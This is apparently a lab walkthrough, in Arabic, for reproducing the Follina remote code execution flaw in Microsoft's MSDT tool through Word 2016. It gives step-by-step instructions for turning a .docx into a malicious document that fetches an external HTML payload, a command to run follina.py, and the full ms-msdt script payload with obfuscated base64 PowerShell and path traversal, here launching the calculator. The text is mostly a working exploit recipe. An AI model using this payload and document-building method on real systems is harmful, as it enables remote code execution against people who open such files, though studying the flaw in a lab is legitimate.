
المعروف أيضًا باسم Follina
توجد Follina في أداة تشخيص الدعم من مايكروسوفت (Microsoft Support Diagnostic Tool، MSDT). عندما يستدعي تطبيق MSDT عبر بروتوكول URL للحصول على الدعم، تظهر ثغرة تنفيذ التعليمات البرمجية عن بُعد. الاستغلال الناجح يسمح للمهاجم بتنفيذ تعليمات برمجية عشوائية بناءً على صلاحيات التطبيق الذي يتم تشغيله.
* Host OS: Ubuntu 22.04 LST
* Guest OS: Windows 10 Pro x64, version 2004, build 19041.1237
* Microsoft office: word 2016
الخطوة 1: قم بإنشاء مستند Word (.docx) وأدرج كائن OLE (مثل: Bitmap Image) داخل النص.
الخطوة 2: قم بفك ضغط ملف .docx وعدّل الملف word/_rels/document.xml.rels داخل المجلد. غيّر القيمة Target="embeddings/oleObject1.bin" الموضحة في الخلفية الصفراء بالصورة أدناه إلى:
Target = "http://<payload_server>/<random_name>.html!"، وأضف قيمة الخاصية TargetMode = "External".

الخطوة 3: عدّل الملف word/document.xml داخل المجلد. غيّر القيمة Type="Embed" في الخلفية الصفراء بالصورة أدناه إلى Type="Link"، وأضف قيمة الخاصية UpdateMode="OnCall".

الخطوة 4: استخدم 7-zip لفتح ملف .docx (بدون فك الضغط)، ثم ضع الملفين المذكورين أعلاه داخل ملف .docx، وبذلك يكتمل إنشاء المستند الخبيث.
قم بتنزيل Follina.py الذي نشره John Hammond. هنا نستخدم مثالاً بسيطاً لاستدعاء الآلة الحاسبة:
python3 follina.py -c calc.exe -i eth0
في ملف Follina.py، الأسطر من 117 إلى 125 مخصصة أساساً لإنشاء الحمولة الخبيثة (.html)، ومحتواها كما يلي. <script>location.href... هو سكربت ينفذ الآلة الحاسبة على الجهاز الضحية. كما يتم ملء المستند بالكامل بعدد كبير من الأحرف العشوائية بهدف جعل حجمه 4096 بايت على الأقل. للاطلاع على السبب، راجع هجوم “Follina” MSDT
<script>location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'Y2FsYw=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\""; //pydvwofyowvcmgcaevgukzhjgmfirqpffuiclrgzlobvnrxknespfklndldfazyefpyxjbixgykmzeumodxedsxpaduvcqygjhrxzeqpuhdgcmpzsxkkpdzdielmoiwzknqxtxinxymsnuugffkxvzwxetrl...(4096 bytes)
</script
شرح إخباري
Follina.py
مستند خبيث
اختبار الثغرة 1
اختبار الثغرة 2
اختبار الثغرة 3